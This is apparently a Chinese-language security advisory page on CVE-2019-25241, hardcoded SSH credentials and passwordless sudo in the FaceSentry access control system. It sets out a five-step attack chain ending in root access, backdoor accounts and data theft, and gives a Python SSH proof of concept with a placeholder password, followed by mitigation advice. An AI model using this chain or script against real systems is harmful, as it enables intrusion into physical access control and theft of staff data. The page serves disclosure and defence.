IPBUF安全漏洞报告
English
CVE-2019-25241 CVSS 9.8 严重

CVE-2019-25241 FaceSentry Access Control System硬编码SSH凭证漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2019-25241
漏洞类型
硬编码凭证
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FaceSentry Access Control System

相关标签

硬编码凭证默认密码SSH权限提升FaceSentry访问控制系统门禁系统CVE-2019-25241CVSS9.8认证绕过

漏洞概述

CVE-2019-25241是FaceSentry Access Control System 6.4.8版本中发现的一个严重安全漏洞。该漏洞源于系统存在硬编码的SSH凭证,特别是wwwuser账户的默认密码被直接嵌入到固件或配置文件中。攻击者可以通过这些硬编码凭证远程登录到受影响系统,进而利用系统中不安全的sudoers配置实现权限提升。由于该系统通常用于企业门禁控制、考勤管理等敏感场景,攻击者成功利用此漏洞后可以完全控制整个访问控制系统,可能导致未经授权的人员进入受限区域,窃取敏感的员工数据或业务信息。此漏洞的CVSS评分高达9.8,属于最严重的危急级别,无需任何认证即可远程利用,对企业物理安全构成极大威胁。

技术细节

该漏洞的核心问题在于FaceSentry Access Control System在开发和部署过程中遗留了硬编码的SSH凭证。系统为wwwuser账户设置了默认密码,该密码以明文或简单加密形式存储在系统配置文件中。攻击者通过以下方式利用此漏洞:首先使用硬编码的wwwuser凭证通过SSH协议远程连接目标系统。连接成功后,由于系统的sudoers配置文件配置不当,wwwuser账户被赋予了无需密码即可执行任意sudo命令的权限。这意味着攻击者可以轻松执行sudo su或sudo -i等命令切换到root用户,从而获得系统的完全控制权。攻击者还可以修改系统配置、添加后门账户或窃取存储在系统中的敏感数据。由于该系统通常连接网络且缺乏及时的固件更新机制,许多部署实例可能仍然存在此漏洞。

攻击链分析

STEP 1
步骤1
收集目标信息:识别运行FaceSentry Access Control System的服务器IP地址和服务端口(SSH端口22)
STEP 2
步骤2
利用硬编码凭证:通过SSH协议使用wwwuser账户的硬编码密码连接目标系统
STEP 3
步骤3
权限探测:登录成功后执行sudo -l命令查看当前用户的sudo权限配置
STEP 4
步骤4
权限提升:由于sudoers配置不当,wwwuser可以无需密码执行所有sudo命令,执行sudo su或sudo -i切换到root用户
STEP 5
步骤5
持久化控制:添加后门账户、修改系统配置或窃取存储在系统中的敏感门禁和考勤数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2019-25241 PoC - FaceSentry SSH Hardcoded Credentials This PoC demonstrates the authentication bypass via hardcoded credentials. """ import socket import paramiko import sys def exploit_ssh(target_ip, port=22): """ Exploit hardcoded SSH credentials for FaceSentry Access Control System """ # Hardcoded credentials for wwwuser account username = "wwwuser" # The password is hardcoded in the system firmware password = "facesentry_default_pwd" # Placeholder - actual password found in firmware print(f"[*] Connecting to {target_ip}:{port}...") try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt connection with hardcoded credentials ssh.connect(target_ip, port=port, username=username, password=password, timeout=10) print(f"[+] Successfully authenticated as {username}") # Check sudo privileges (no password required due to misconfiguration) stdin, stdout, stderr = ssh.exec_command("sudo -l") output = stdout.read().decode() print(f"[*] Sudo privileges: {output}") # Escalate to root stdin, stdout, stderr = ssh.exec_command("sudo su -c 'whoami'") output = stdout.read().decode().strip() print(f"[+] Current user after privilege escalation: {output}") ssh.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - credentials may have been changed") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] exploit_ssh(target)

影响范围

FaceSentry Access Control System 6.4.8及之前版本

防御指南

临时缓解措施
在厂商发布修复固件之前,建议采取以下临时缓解措施:1) 将FaceSentry系统部署在独立 VLAN 中,限制对其SSH端口的网络访问;2) 通过防火墙规则仅允许管理IP访问SSH服务;3) 监控SSH登录日志,关注异常的wwwuser账户登录行为;4) 考虑使用VPN建立安全的远程管理通道;5) 评估是否可以通过物理访问控制替代远程SSH管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表